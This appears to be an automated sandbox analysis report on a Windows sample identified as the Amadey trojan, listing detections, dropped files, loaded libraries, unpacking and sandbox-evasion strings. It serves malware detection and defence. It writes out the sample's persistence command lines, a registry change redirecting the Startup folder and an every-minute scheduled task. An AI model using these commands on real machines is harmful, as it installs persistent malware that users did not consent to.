Source: 00000001.00000003.1749767253.0000000002201000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: Process Memory Space: S7AGd447vH.exe PID: 7524, type: MEMORYSTR	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: Process Memory Space: dllhost.exe PID: 7608, type: MEMORYSTR	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: Process Memory Space: dllhost.exe PID: 7856, type: MEMORYSTR	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@13/2@18/1

Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\152122461226583693405117
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7688:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7736:120:WilError_03

Source: C:\Users\user\Desktop\S7AGd447vH.exe

File created: C:\Users\user\AppData\Local\Temp\15212246122658369340

Jump to behavior

Source: C:\Users\user\Desktop\S7AGd447vH.exe

Command line argument: ~IB

0_2_004248D0

Source: S7AGd447vH.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\S7AGd447vH.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\S7AGd447vH.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: S7AGd447vH.exe	ReversingLabs: Detection: 65%
Source: S7AGd447vH.exe	Virustotal: Detection: 69%

Source: S7AGd447vH.exe	String found in binary or memory: /pkg/Loader.exe
Source: dllhost.exe	String found in binary or memory: /pkg/Loader.exe

Source: C:\Users\user\Desktop\S7AGd447vH.exe

File read: C:\Users\user\Desktop\S7AGd447vH.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\S7AGd447vH.exe "C:\Users\user\Desktop\S7AGd447vH.exe"
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Process created: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe"
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\3e5d740863\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN dllhost.exe /TR "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe" /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\3e5d740863\
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Process created: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\3e5d740863\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN dllhost.exe /TR "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe" /F	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\3e5d740863\	Jump to behavior

Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Section loaded: wintypes.dll	Jump to behavior

Source: C:\Users\user\Desktop\S7AGd447vH.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: S7AGd447vH.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: OfficeDesktop.pdb source: S7AGd447vH.exe, dllhost.exe.0.dr
Source:	Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: S7AGd447vH.exe, 00000000.00000003.1704095067.0000000000910000.00000004.00001000.00020000.00000000.sdmp, S7AGd447vH.exe, 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmp, S7AGd447vH.exe, 00000000.00000003.1704876629.0000000002221000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1748937794.0000000000600000.00000004.00001000.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749767253.0000000002201000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1819904387.0000000022241000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000002.1820165445.0000000000428000.00000004.00000001.01000000.00000005.sdmp, dllhost.exe, 00000007.00000003.1818805602.0000000000630000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: combase.pdb source: S7AGd447vH.exe, 00000000.00000003.1704708297.0000000022900000.00000004.00001000.00020000.00000000.sdmp, S7AGd447vH.exe, 00000000.00000003.1704573003.000000002266E000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749567916.0000000022AB0000.00000004.00001000.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749409581.0000000022823000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1819408619.0000000022688000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1819679892.0000000022910000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: S7AGd447vH.exe, 00000000.00000003.1704342589.0000000022810000.00000004.00001000.00020000.00000000.sdmp, S7AGd447vH.exe, 00000000.00000003.1704234456.0000000022664000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749047293.000000002282A000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749185768.00000000229D0000.00000004.00001000.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1818941784.000000002268F000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1819091073.0000000022830000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: S7AGd447vH.exe, 00000000.00000003.1704342589.0000000022810000.00000004.00001000.00020000.00000000.sdmp, S7AGd447vH.exe, 00000000.00000003.1704234456.0000000022664000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749047293.000000002282A000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749185768.00000000229D0000.00000004.00001000.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1818941784.000000002268F000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1819091073.0000000022830000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: combase.pdbUGP source: S7AGd447vH.exe, 00000000.00000003.1704708297.0000000022900000.00000004.00001000.00020000.00000000.sdmp, S7AGd447vH.exe, 00000000.00000003.1704573003.000000002266E000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749567916.0000000022AB0000.00000004.00001000.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749409581.0000000022823000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1819408619.0000000022688000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1819679892.0000000022910000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\S7AGd447vH.exe	Unpacked PE file: 0.2.S7AGd447vH.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Unpacked PE file: 7.2.dllhost.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\S7AGd447vH.exe	Unpacked PE file: 0.2.S7AGd447vH.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Unpacked PE file: 7.2.dllhost.exe.400000.0.unpack

Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Code function: 11_2_00402310 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_00402310

Source: dllhost.exe.0.dr	Static PE information: real checksum: 0x64e0b should be: 0x72178
Source: S7AGd447vH.exe	Static PE information: real checksum: 0x64e0b should be: 0x72178

Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_2_00411076 push ecx; ret		0_2_00411089
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Code function: 11_2_00401DF4 push eax; ret		11_2_00401E22

Persistence and Installation Behavior

Yara detected Amadey bot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000001.00000003.1833879370.000000000088D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1817745095.000000000088D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1806321286.000000000088D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2074756510.000000000088D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1872056759.000000000088D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dllhost.exe PID: 7608, type: MEMORYSTR

Source: C:\Users\user\Desktop\S7AGd447vH.exe

File created: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Windows\SysWOW64\reg.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup			Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup			Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN dllhost.exe /TR "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe" /F

Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Code function: 11_2_00405AE4 SetWindowLongW,CreateCompatibleDC,SetTimer,LoadStringW,GetWindowLongW,KillTimer,AnimateWindow,PostMessageW,PostQuitMessage,BeginPaint,BitBlt,EndPaint,IsIconic,GetWindowRect,OffsetRect,CreateRoundRectRgn,SetWindowRgn,DeleteObject,DeleteObject,DefWindowProcW,

11_2_00405AE4

Source: C:\Users\user\Desktop\S7AGd447vH.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: dllhost.exe, 00000007.00000002.1820379958.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOK.DLL7B
Source: S7AGd447vH.exe, 00000000.00000003.1704847684.000000007FE31000.00000040.00001000.00020000.00000000.sdmp, S7AGd447vH.exe, 00000000.00000003.1704095067.0000000000910000.00000004.00001000.00020000.00000000.sdmp, S7AGd447vH.exe, 00000000.00000003.1704876629.0000000002221000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1748937794.0000000000600000.00000004.00001000.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749735106.000000007FE31000.00000040.00001000.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749767253.0000000002201000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1819904387.0000000022241000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1818805602.0000000000630000.00000004.00001000.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1819863860.000000007FE31000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: COMBASE.DLL%SYSTEMROOT%\SYSTEM32\COMBASE.DLLZWPROTECTVIRTUALMEMORYNTDLL.DLL%SYSTEMROOT%\SYSTEM32\NTDLL.DLLISWOW64PROCESSKERNEL32.DLLASWHOOK.DLL
